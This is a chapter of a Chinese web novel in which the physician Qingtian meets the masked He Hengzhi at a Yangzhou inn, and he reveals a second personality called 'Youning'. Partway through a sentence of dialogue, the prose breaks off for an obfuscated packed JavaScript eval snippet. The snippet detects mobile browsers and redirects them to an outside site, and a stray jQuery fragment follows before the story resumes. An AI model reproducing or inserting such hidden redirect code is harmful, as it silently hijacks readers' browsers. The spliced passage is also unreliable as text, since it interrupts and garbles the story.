42)


    长公子来了扬州?


    何时来的?为何她一点消息也没有?


    晴天好看的眉头紧紧皱起,她又问掌柜的:


    “何时来的?可有说会在扬州呆多少时日吗?”


    “这个倒没说,不过,长公子交代了,若是晴天小娘子来了,让你先等等,坐下吃个饭,今儿个晚膳可是费大娘子亲自掌勺。”


    人人都道序鹤院后厨的挽娘子名气大,是白家商行中厨艺最为高超之人,不论煎烤炖煮,还是炸灼烩拌,各色菜系,全都信手拈来,


    可很少有人知道,若说做扬州菜最出色的其实是青云客栈的费大娘子。


    “多谢长公子的好意,但时间紧迫,说完我便要回寨子了。”


    晴天一把收回了信笺,随即指了指楼上,


    “掌柜的告诉我哪个房间就好。”


    或许是晴天真的看起来像她说的那样十分急迫,掌柜的也没有再说什么,便将房号告诉了晴天,


    但下一刻,她又将人拦了下来。


    “晴天小娘子你先等等——”


    “怎么了?”晴天回头,只见掌柜的眼中闪过笑意,眼睛盯着楼上道:


    “晴天小娘子不必麻烦了。”


    客栈大堂原本人声鼎沸,霎那间,忽如寒潮漫卷,万籁俱寂,


    晴天顺着掌柜眼神的方向看去,


    只见,二楼梯口,一道月白素凭栏而立,


    来人脸覆了半块玄铁面具,只瞧得见一双薄唇轻抿,烛火微光掠过,照见此人云鬓半绾,斜插一支羊脂鹤形玉簪,素净至极,


    随着一阵叮铃咣当的铃声脆响,白影宛如一阵清风般飘下,身上飘逸的白纱裹紧身躯,勾勒出其不堪一握的盈盈纤腰,


    旋落到大堂时,裙底藏着的阵阵清冷异香四散,夺取满堂的目光,


    就连平时训练有素的管事娘子都忘记了手里的茶壶,热水浇至烧的通红的炭盆上,激起白烟袅袅。


    在所有人的注视下,白影轻抬着下巴,他环视一圈后,才施施然朝晴天这个方向踱步而来,


    朝着她的方向踱来,


    晴天十分确定她不认识这个连脸都没露,只凭一袭白纱就艳惊四座的男人,但直觉告诉他,这人不是找掌柜的,是来寻她的,


    霎那间,四目相对,她有些看不透这男人隐藏在面具后的深沉心绪,


    “这位小娘子安好。”


    男人朱唇轻启,主动朝她打招呼,晴天后撤两步,略带拘谨地点了点头,


    此时她才发现这男子竟是光着脚的!


    拖地朦胧烟纱的遮掩下,十根圆润的脚趾露在外,让晴天觉得莫名的眼熟。


    “这位小娘子,你家少主没教过你吗?总盯着男子私密处看的行为可并非淑女行为。”


    ……


    飞快挪开双眼,再次抬头时,晴天看到了这双带着狡黠笑意的狭长双眸,


    可恶,


    她竟然被一个男人戏耍了,


    晴天有些微恼,可又不好当众表现出来,


    毕竟盯着男子的脚看本就是不好的行为,就算是身为医者也不得的幸免,这事儿的确是她理亏。


    “抱歉。”


    晴天不咸不淡地道歉,她本想离开,却忽然想到方才男子所说,


    【你家少主没教给过你吗?】


    少主?等等,他认识自己?难怪她觉得脚趾眼熟,不过话又说回来了,被她医治的男人也没几个,清风寨的那几家夫郎,她都熟悉的很,


    清风寨之外的……


    晴天顿时愣住,她不可置信地盯着男人,像是要把他这半块玄铁面具生生盯出一个窟窿来,


    不,不可能是长公子的,她根本就没有治好长公子的腿脚,又如何能活生生的站在她面前,


    但掌柜的此刻变得毕恭毕敬的神态又已经告诉了她答案。


    晴天蹙起眉,还在困惑中,男人就趁这这一会儿,抬手抽走了她手中的信笺。


    “岂有此理,你……”


    晴天袖口微微抖,啐了毒的银针眼看着就要朝男人飞去,男人唇角轻勾,像是一点都不害怕这银针一样,不急不慢地脱下了脸上的面具,


    待晴天看清对方的这张脸后,当场愣在原地,


    “……长、长、长公子?”


    “嗯哼,好久不见啊,瞌睡娘子。”


    *


    晴天瞌睡娘子这个名号,出自于白家那群管事姑姑口中,原因无他,是因为晴天在白府太爱睡觉了,


    晴天呆在白家给人瞧病的那段时间,白家随处都能看见晴天睡觉的影子,


    廊下,亭中,花池边上,


    不管是能睡的还是不能睡的,方便睡的还是不便的,晴天都能睡,


    因着谁来都不免惊叹的绝佳天赋,于是就慢慢地就有了这个绰号。


    “长公子,你的腿……”


    晴天眨眨眼不可置信,而男人则是一脸的云淡风轻,他扬了扬手中折好的信笺问:


    “是给我的吗?”


    晴天点头。


    “是关于她的?”


    虽然没有明说,可两人都知道这里这个她指的是谁。


    “是。”


    “那好,先让我瞧瞧上头写了什么可好?”


    当然好,晴天点点头,


    但问题是,她眼前的人是长公子吗?


    印象中,长公子说话从来都是一本正经的,很少会加些俏皮的语气,


    可眼前的那位长公子,一句话能恨不得转十八个弯,那字眼,那强调,仿佛化成春雨,酥进人骨子里。


    没一会儿,男人看完了信笺,


    他敛下眉眼,随手一扬,便将这信笺丢入火盆之中,熊熊火舌霎时间吞掉了信笺,只落下一小撮灰烬。


    晴天原以为男人会生气,


    可并没有,他甚至连眼皮都没抬,


    只是语气较方才的冷了许多,倘若不是堂中置了些许火盆,这里也会如同外头一般,春寒料峭。


    “少主没有替那川北王家的公子安排哦住所,而是让其直接入了清风寨,就安排在她隔壁的院子?”


    晴天点头,


    那两间院子之间就隔着一堵墙与一道环形拱门,近水楼台,


    倘若想要生出些什么难得的情愫,那可是简单的很!


    但事情最糟糕的还不是这个!


    那景家公子所住的可并非普通的院子,那可是寨里的主院!


    当年重新修缮寨子时,工匠特意将风水最好的一处地界特意单独辟了出来,建了间全寨最大的院子,取名为丰禾堂,


    这是给少主以及未来少主夫人用的,可后来,少主并没住进去,只将院子所带的书房单独立出来,又重新在主院旁边辟了个新院出来住。


    当时,几乎清风寨所有人都默认主院是她们少主特意保留下来,要同新夫人一起住的,但,令所有人都没想到的是,这景公子一来,少主径直便让其入了主院,


    其中的分量有多重,自然不言而喻。


    晴天将这其中关窍稍稍解释一番后,


    贺恒之反而收起了刚才的冷峻,唇角荡出一抹笑。


    过了好半晌,他问,


    “那男子长相如何?”


    长相?晴天说不好,毕竟景公子是少主选中的人,万万是轮不到她来评头论足的,


    “我的评价怕是对长公子并没有什么帮助,景颜公子乃川北王家的幼子,以白家的能力,倘若实在好奇,自然能搞到他的画像,美还是丑,不如让长公子自己来评判一下吧。”


    只可惜,晴天这番四两拨千斤的回答并未奏效,贺恒之依在柜台上,撑着手臂,


    他的脸上虽然还挂着笑容,但这笑意却不达眼底。


    “晴天这话听起来真叫人寒心,分明四年前还曾信誓旦旦地说会竭尽全力地帮我,现在怎得就变卦了?”


    “当年我如此说,自然是钦佩于长公子那超乎超人的忍耐力,以及少主对长公子的在意,可现在……”


    “现在如何?”


    晴天不语,


    但贺恒之心中早就有了答案——


    现在不行了哦当然是微安在意的另有其人了,


    贺恒之眼中闪过一丝怨毒,但在晴天发现前,他垂眼,不着痕迹地掩下了这所有一切,


    当再次抬头时,脸上又重新挂满了笑意。


    “晴天,倘若你心中真的这样想,今日便不会瞒着她偷偷前来,给我通风报信了,这样,我不为难你,只是想让你半个小忙,引她来序鹤院一趟如何?”


    序鹤院?


    晴天闻言犯起了难,


    且不说,这序鹤院是谁的少主清楚的很,就单单说,这序鹤院本身,少主怕是也不会想要沾边。


    晴天:“长公子不如换一个地方,序鹤院,少主怕是不会去的。”


    序鹤院是酒肆饭馆不假,


    但对于熟客来说,其旁的那间序鹤别院才是重头戏,那里,用酒池肉林,天上人间这种词来形容都一点儿也不为过。


    清风寨这些年崛起迅猛,微安已经成了扬州城近些年最为炙手可热的人物,自然不会不知道这各种关窍。


    贺恒之轻笑:“我知晓,以她那个性子,自然是不会喜欢序鹤院的,但必须是那里,晴天,这并


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211483|180864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    非是请求,而是一个舍出所有的要求,就当做我当时不顾一切信任你,签下生死状的回报可好?”


    五年前,晴天根本没想过治一条瘫腿会有那么难,可当她意识到任何麻痹药物都对长公子不起作用时,一下就慌了神,


    第二个方案就意味着她必须把长公子长歪掉的右腿腿骨硬生生敲断,再重塑,


    这个过程没麻痹药是万万不行的,这会直接给人生生疼晕过去的,


    晴天不想闹出人命,尤其是少主在意的长公子的性命,


    是以,她当即决定放弃医治,返回清风寨,即便这样回去或许面临惩罚,但也好过让长公子死掉,


    可令晴天万万却没想到的是,


    贺恒之竟请高人来关住了她,甚至还为了让她继续治疗,不惜签下生死状,


    也正是这一刻,


    晴天对贺恒之彻底改观,原来,长公子比她想象的还要能忍。


    重塑骨头的过程既漫长又艰辛,几乎每一个步骤对长公子来说都是锥心之痛,


    到了后来,她还没扎针,只是稍微碰了碰,换个药,贺恒之脸都会刷的一下子变得惨白,但无论多痛,贺恒之从不出声,


    一切都异常的顺利,被重新敲掉的骨节重新接上,再加上她的独门秘药使得骨肉自然愈合,情况比她想象中要好很多,


    就在晴天认为或许以后长公子也不用再饱受疼痛折磨时,


    忽然有一天,贺恒之的双腿,失去了所有的直觉。


    “最后一次。”


    “倘若这次不成,也别再找我了。”


    晴天犹豫半晌,最终还是应下来,没办法,


    她拒绝不了贺恒之,就像她永远也拒绝不了那个幼时被新药疼的在床上打滚的,希望能有人帮帮她的自己。


    “好!那边说定了,三日后序鹤院不见不散。”


    “那长公子可以告诉我你的腿是如何……”


    贺恒之点点头,他笑道:


    “嗯哼,原因很简单,因为我不是他,虽然我们都深爱着同一个女人,但,可瞧见?除此之外,我们一点儿都不一样。”


    男人说罢,不知道从哪里掏出了个面具戴上,


    这一副并非是方才在客栈大堂所带的玄铁面具,而是一副画了振翅金蝶的金遮面,


    上头还用金箔勾出了稀碎的纹路,再配上这身飘逸的白素衣,美艳至极,


    魅得只消一个眼神便能勾魂夺魄。


    “他那人,虽然看上去聪明的很,可内里却蠢笨如猪,明明腿已经好了,可偏偏就是走不了,固执地将自己封闭在那小小的四方天地里,也不知道究竟是赎罪还是想博得怜惜。”


    说到这里,


    男人又像想起来了方才被他一把火烧毁的信笺,眉眼里难掩轻蔑,


    “……倘若这些年他没用药将我一直拘着,哪里还轮得到什么川北王家的公子近她的身?”


    等等,这是什么意思?晴天越听越懵。


    长公子话里话外的意思是想告诉她,此刻,站在她眼前的同她以为的长公子是两个人?可这如何可能?


    长公子并没有孪生兄弟啊。


    就在她茫然之际,脑海中忽然灵光一现,


    她想到了几年前偶然在一本游方医者手札集册中所看到的一篇医案,


    【病者:许三郎年级:三十有三;症由:月前遭村长构陷,全家七口皆冤死狱中,独其一人得释,然神魄已溃。初时独坐喃语,谓闻亡亲呼唤;近日竟言行迥异,忽为母,忽为父,忽作稚子啼哭声;辩症:经望闻问切后断定,此乃怨气缠结膻中,悲怆蚀透心窍之状,肝魂不甘而化母怒,肺魄不舍而作父哀,小儿灵识未泯,共寄此残躯之中,是谓“七魄离巢,众灵共舍”之厄。】


    难道说,长公子患上的也是这离巢共舍之症?


    贺恒之猜到了晴天所思所想,


    “晴天觉得奇怪?一个人身体里如何可能住下两个意识?要知道天下之大无奇不有,倘若晴天对这病症实在好奇,不妨等我住进清风寨后来找我?在下一定知无不言言无不尽。”


    能见识到只在书本上见过的疑难杂症,晴天很是兴奋,


    但说道回清风寨?


    晴天微怔,


    “长公子的意思是……要回清风寨长住?可你是白家家主,如何能在清风寨长住呢?”


    再说了,当年两人闹僵不就是因为这个吗?


    “这可不是我要管的,白家倒不倒那他在乎的事,我只在乎一个——那便是能不能当上你们少主夫人。”


    “还有,别叫我长公子,那是他的称号,我欢喜人别人唤我「攸宁公子」。”